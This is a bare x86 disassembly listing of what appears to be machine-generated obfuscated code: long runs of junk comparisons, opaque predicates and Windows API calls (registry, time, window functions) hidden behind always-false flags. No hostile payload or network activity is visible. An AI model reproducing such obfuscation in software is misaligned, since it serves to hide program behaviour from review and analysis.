and dword [ebp - 0xee0], 0
mov eax, dword [ebp - 0x64]
sub eax, dword [ebp - 0xee0]
cmp eax, dword [ebp - 0x64]
je 0x484899
mov dword [ebp - 0xee8], 1
jmp 0x4848a0
and dword [ebp - 0xee8], 0
mov eax, dword [ebp - 0x860]
cmp dword [ebp - 0xee8], eax
jle 0x4848ba
mov dword [ebp - 0xef0], 1
jmp 0x4848c1
and dword [ebp - 0xef0], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0xef0], eax
jne 0x4848d8
mov dword [ebp - 0xef8], 1
jmp 0x4848df
and dword [ebp - 0xef8], 0
mov eax, dword [ebp - 0xb18]
cmp dword [ebp - 0xef8], eax
jg 0x4848f9
mov dword [ebp - 0xf00], 1
jmp 0x484900
and dword [ebp - 0xf00], 0
mov eax, dword [ebp - 0xb18]
cmp dword [ebp - 0xf00], eax
jg 0x484920
mov eax, 0x78b72129
test eax, eax
jne 0x484920
and dword [ebp - 0xf08], 0
jmp 0x48492a
mov dword [ebp - 0xf08], 1
push 0
lea ecx, [ebp - 0xc74]
call fcn.0043021f
mov ecx, dword [ebp - 0xf08]
cmp ecx, dword [eax]
jl 0x48494d
mov dword [ebp - 0xf10], 1
jmp 0x484954
and dword [ebp - 0xf10], 0
cmp dword [ebp - 0xf10], 0xffffffff
jge 0x484969
mov dword [ebp - 0xb20], 1
jmp 0x484970
and dword [ebp - 0xb20], 0
push 1
lea ecx, [ebp - 0xc74]
call fcn.0043021f
mov ecx, dword [ebp - 0xb20]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xb20]
mov dword [ebp + eax - 0x34e0], ecx
lea ecx, [ebp - 0xc74]
call fcn.00430203
jmp 0x484afa
mov dword [ebp - 0x870], 7
mov dword [ebp - 0x23d4], 0x29add925
mov dword [ebp - 0x868], 0
jmp 0x4849d5
mov eax, dword [ebp - 0x868]
inc eax
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x868], 4
jge 0x4849f1
mov eax, dword [ebp - 0x868]
mov dword [ebp + eax*4 - 0x34f8], 0x7be6
jmp 0x4849c8
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xf18], eax
cmp dword [ebp - 0xf18], 0
jne 0x484a0f
mov dword [ebp - 0xf28], 1
jmp 0x484a16
and dword [ebp - 0xf28], 0
mov eax, dword [ebp - 0x870]
cmp dword [ebp - 0x870], eax
jl 0x484a30
mov dword [ebp - 0xf20], 1
jmp 0x484a37
and dword [ebp - 0xf20], 0
mov eax, dword [ebp - 0xf20]
mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0xb28]
mov dword [ebp - 0x331c], eax
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x2f08], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x870]
cmp dword [ebp - 0xf28], eax
jne 0x484a78
mov dword [ebp - 0xf38], 1
jmp 0x484a7f
and dword [ebp - 0xf38], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xf30], eax
mov eax, dword [ebp - 0xf30]
add eax, dword [ebp - 0xf38]
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x34f8], eax
cmp dword [ebp - 0xb28], 0xcb1743e6
jbe 0x484ab9
mov dword [ebp - 0xf40], 1
jmp 0x484ac0
and dword [ebp - 0xf40], 0
mov eax, dword [ebp - 0xf40]
mov dword [ebp - 0xf48], eax
cmp dword [ebp - 0xf48], 1
jne 0x484ae7
cmp dword [ebp - 0x64], 0
je 0x484ae7
mov dword [ebp - 0xf50], 1
jmp 0x484aee
and dword [ebp - 0xf50], 0
mov eax, dword [ebp - 0xf50]
mov dword [ebp - 0x23d4], eax
mov dword [ebp - 0x6c], 4
mov dword [ebp - 0xfd8], 0xf9132f4b
mov dword [ebp - 0xfc0], 0xfffffffa
mov dword [ebp - 0xb40], 0
mov dword [ebp - 0xff0], 0xd4f95201
cmp dword [ebp - 0x6c], 0
je 0x484ebd
mov dword [ebp - 0x23dc], 0xfe01bd97
push 4
lea ecx, [ebp - 0xc8c]
call fcn.00430131
mov dword [ebp - 0x878], 0
jmp 0x484b63
mov eax, dword [ebp - 0x878]
inc eax
mov dword [ebp - 0x878], eax
cmp dword [ebp - 0x878], 4
jge 0x484b82
push dword [ebp - 0x878]
lea ecx, [ebp - 0xc8c]
call fcn.0043021f
or dword [eax], 0xffffffff
jmp 0x484b56
mov esi, dword [ebp - 0x23dc]
push 1
lea ecx, [ebp - 0xc8c]
call fcn.0043021f
mov dword [eax], esi
push 1
lea ecx, [ebp - 0xc8c]
call fcn.0043021f
cmp dword [eax], 0
je 0x484bda
mov dword [ebp - 0x6c], 0
jmp 0x484bb9
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jg 0x484bd5
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xc8c]
call fcn.0043021f
mov dword [eax], 8
jmp 0x484bb2
jmp 0x484ead
mov dword [ebp - 0x888], 0xe3bc4aee
mov dword [ebp - 0xb30], 0x3758
mov dword [ebp - 0x880], 0
jmp 0x484c07
mov eax, dword [ebp - 0x880]
inc eax
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 4
jge 0x484c23
mov eax, dword [ebp - 0x880]
mov dword [ebp + eax*4 - 0x3510], 0
jmp 0x484bfa
cmp dword [ebp - 0x6c], 0
je 0x484c3f
mov dword [ebp - 0x23e4], 0xffff
mov dword [ebp - 0x23e4], 0
jmp 0x484c6d
mov byte [ebp - 0x296], 0
movzx eax, byte [ebp - 0x296]
test eax, eax
je 0x484c6d
push 0xf50
push 0x231
push 0x68d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
cmp dword [ebp - 0x888], 0
jne 0x484c7e
xor eax, eax
je 0x484d45
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x3154], eax
mov eax, 0x9ed7
cmp eax, 0xbf84
jne 0x484c9f
mov dword [ebp - 0xf58], 1
jmp 0x484ca6
and dword [ebp - 0xf58], 0
push 1
lea ecx, [ebp - 0xc8c]
call fcn.0043021f
mov ecx, dword [ebp - 0xf58]
cmp ecx, dword [eax]
jge 0x484cc9
mov dword [ebp - 0xf60], 1
jmp 0x484cd0
and dword [ebp - 0xf60], 0
cmp dword [ebp - 0xf60], 1
jge 0x484ce5
mov dword [ebp - 0xf68], 1
jmp 0x484cec
and dword [ebp - 0xf68], 0
push 3
lea ecx, [ebp - 0xc8c]
call fcn.0043021f
mov ecx, dword [ebp - 0xf68]
imul ecx, dword [eax]
test ecx, ecx
jne 0x484d18
cmp dword [ebp - 0x888], 0
jne 0x484d18
and dword [ebp - 0xf70], 0
jmp 0x484d22
mov dword [ebp - 0xf70], 1
push 3
lea ecx, [ebp - 0xc8c]
call fcn.0043021f
mov ecx, dword [ebp - 0xf70]
cmp ecx, dword [eax]
jl 0x484d45
mov dword [ebp - 0xf78], 1
jmp 0x484d4c
and dword [ebp - 0xf78], 0
imul eax, dword [ebp - 0xf78], 0
test eax, eax
je 0x484d6c
cmp dword [ebp - 0x888], 0
je 0x484d6c
mov dword [ebp - 0xf80], 1
jmp 0x484d73
and dword [ebp - 0xf80], 0
mov eax, dword [ebp - 0xb30]
cmp dword [ebp - 0xf80], eax
jg 0x484d8d
mov dword [ebp - 0xf88], 1
jmp 0x484d94
and dword [ebp - 0xf88], 0
mov eax, dword [ebp - 0x6c]
sub eax, dword [ebp - 0xf88]
cmp eax, dword [ebp - 0x6c]
je 0x484dae
mov dword [ebp - 0xf90], 1
jmp 0x484db5
and dword [ebp - 0xf90], 0
mov eax, dword [ebp - 0x888]
cmp dword [ebp - 0xf90], eax
jle 0x484dcf
mov dword [ebp - 0xf98], 1
jmp 0x484dd6
and dword [ebp - 0xf98], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0xf98], eax
jne 0x484ded
mov dword [ebp - 0xfa0], 1
jmp 0x484df4
and dword [ebp - 0xfa0], 0
mov eax, dword [ebp - 0xb30]
cmp dword [ebp - 0xfa0], eax
jg 0x484e0e
mov dword [ebp - 0xfa8], 1
jmp 0x484e15
and dword [ebp - 0xfa8], 0
mov eax, dword [ebp - 0xb30]
cmp dword [ebp - 0xfa8], eax
jg 0x484e35
mov eax, 0x78b72129
test eax, eax
jne 0x484e35
and dword [ebp - 0xfb0], 0
jmp 0x484e3f
mov dword [ebp - 0xfb0], 1
push 0
lea ecx, [ebp - 0xc8c]
call fcn.0043021f
mov ecx, dword [ebp - 0xfb0]
cmp ecx, dword [eax]
jl 0x484e62
mov dword [ebp - 0xfb8], 1
jmp 0x484e69
and dword [ebp - 0xfb8], 0
cmp dword [ebp - 0xfb8], 0xffffffff
jge 0x484e7e
mov dword [ebp - 0xb38], 1
jmp 0x484e85
and dword [ebp - 0xb38], 0
push 1
lea ecx, [ebp - 0xc8c]
call fcn.0043021f
mov ecx, dword [ebp - 0xb38]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xb38]
mov dword [ebp + eax - 0x3510], ecx
lea ecx, [ebp - 0xc8c]
call fcn.00430203
jmp 0x48500f
mov dword [ebp - 0x898], 7
mov dword [ebp - 0x23ec], 0x29add925
mov dword [ebp - 0x890], 0
jmp 0x484eea
mov eax, dword [ebp - 0x890]
inc eax
mov dword [ebp - 0x890], eax
cmp dword [ebp - 0x890], 4
jge 0x484f06
mov eax, dword [ebp - 0x890]
mov dword [ebp + eax*4 - 0x3528], 0x7be6
jmp 0x484edd
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xfc0], eax
cmp dword [ebp - 0xfc0], 0
jne 0x484f24
mov dword [ebp - 0xfd0], 1
jmp 0x484f2b
and dword [ebp - 0xfd0], 0
mov eax, dword [ebp - 0x898]
cmp dword [ebp - 0x898], eax
jl 0x484f45
mov dword [ebp - 0xfc8], 1
jmp 0x484f4c
and dword [ebp - 0xfc8], 0
mov eax, dword [ebp - 0xfc8]
mov dword [ebp - 0xb40], eax
mov eax, dword [ebp - 0xb40]
mov dword [ebp - 0x2f10], eax
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x3290], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x898]
cmp dword [ebp - 0xfd0], eax
jne 0x484f8d
mov dword [ebp - 0xfe0], 1
jmp 0x484f94
and dword [ebp - 0xfe0], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xfd8], eax
mov eax, dword [ebp - 0xfd8]
add eax, dword [ebp - 0xfe0]
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x3528], eax
cmp dword [ebp - 0xb40], 0xcb1743e6
jbe 0x484fce
mov dword [ebp - 0xfe8], 1
jmp 0x484fd5
and dword [ebp - 0xfe8], 0
mov eax, dword [ebp - 0xfe8]
mov dword [ebp - 0xff0], eax
cmp dword [ebp - 0xff0], 1
jne 0x484ffc
cmp dword [ebp - 0x6c], 0
je 0x484ffc
mov dword [ebp - 0xff8], 1
jmp 0x485003
and dword [ebp - 0xff8], 0
mov eax, dword [ebp - 0xff8]
mov dword [ebp - 0x23ec], eax
mov dword [ebp - 0x668], 0
mov dword [ebp - 0x644], 0xffffffff
mov dword [ebp - 0x2f18], 0xfffffffe
mov dword [ebp - 0x8a0], 0
jmp 0x485046
mov eax, dword [ebp - 0x8a0]
inc eax
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 3
jge 0x485062
mov eax, dword [ebp - 0x8a0]
mov dword [ebp + eax*4 - 0x2750], 0xffff
jmp 0x485039
mov dword [ebp - 0x668], 0xfffffff6
jmp 0x48507b
mov eax, dword [ebp - 0x668]
dec eax
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0xffffffea
jne 0x4852ef
mov dword [ebp - 0xc9c], 0x1589
mov dword [ebp - 0xc98], 0x1589
mov dword [ebp - 0xc94], 0x1589
mov dword [ebp - 0xc90], 0x1589
mov dword [ebp - 0xb48], 0xa6b719d8
mov dword [ebp - 0x23f4], 0x3e32883e
mov byte [ebp - 0x298], 0
movzx eax, byte [ebp - 0x298]
test eax, eax
je 0x4850de
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
cmp dword [ebp - 0x668], 0
jg 0x485211
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc9c], 0
je 0x4851fd
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc9c]
add eax, dword [ebp - 0x644]
je 0x48512e
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc9c], 0
je 0x48512e
mov dword [ebp - 0x1000], 1
jmp 0x485135
and dword [ebp - 0x1000], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc9c]
cmp eax, dword [ebp - 0x1000]
jl 0x485155
mov dword [ebp - 0x1008], 1
jmp 0x48515c
and dword [ebp - 0x1008], 0
mov eax, dword [ebp - 0x1008]
mov dword [ebp - 0xb48], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc9c]
cmp dword [ebp - 0xb48], eax
jne 0x485188
mov dword [ebp - 0x1010], 1
jmp 0x48518f
and dword [ebp - 0x1010], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2750]
cmp dword [ebp - 0x1010], eax
jge 0x4851b6
cmp dword [ebp - 0xb48], 0
jne 0x4851b6
and dword [ebp - 0x1018], 0
jmp 0x4851c0
mov dword [ebp - 0x1018], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2750]
cmp dword [ebp - 0x1018], eax
jle 0x4851e1
mov dword [ebp - 0x1020], 1
jmp 0x4851e8
and dword [ebp - 0x1020], 0
cmp dword [ebp - 0x1020], 0xfffffff6
jge 0x4851fd
mov dword [ebp - 0x1028], 1
jmp 0x485204
and dword [ebp - 0x1028], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2750]
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc9c], 1
jne 0x48522c
mov dword [ebp - 0x1030], 1
jmp 0x485233
and dword [ebp - 0x1030], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc9c]
cmp dword [ebp - 0x1030], eax
je 0x485254
mov dword [ebp - 0x1038], 1
jmp 0x48525b
and dword [ebp - 0x1038], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc9c]
cmp dword [ebp - 0x1038], eax
jg 0x48527b
mov dword [ebp - 0x1040], 1
jmp 0x485282
and dword [ebp - 0x1040], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2750]
cmp dword [ebp - 0x1040], eax
jne 0x4852a3
mov dword [ebp - 0x1048], 1
jmp 0x4852aa
and dword [ebp - 0x1048], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc9c]
cmp dword [ebp - 0x1048], eax
jl 0x4852cb
mov dword [ebp - 0x1050], 1
jmp 0x4852d2
and dword [ebp - 0x1050], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1050]
sub ecx, dword [ebp + eax - 0xc9c]
mov dword [ebp - 0x23f4], ecx
jmp 0x48506e
mov dword [ebp - 0x644], 0
jmp 0x485308
mov eax, dword [ebp - 0x644]
inc eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 0x38
jl 0x485338
mov byte [ebp - 0x29c], 0
movzx eax, byte [ebp - 0x29c]
test eax, eax
je 0x485336
push 0
push 0
push 0x8c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
jmp 0x4852fb
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0046b9ef
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret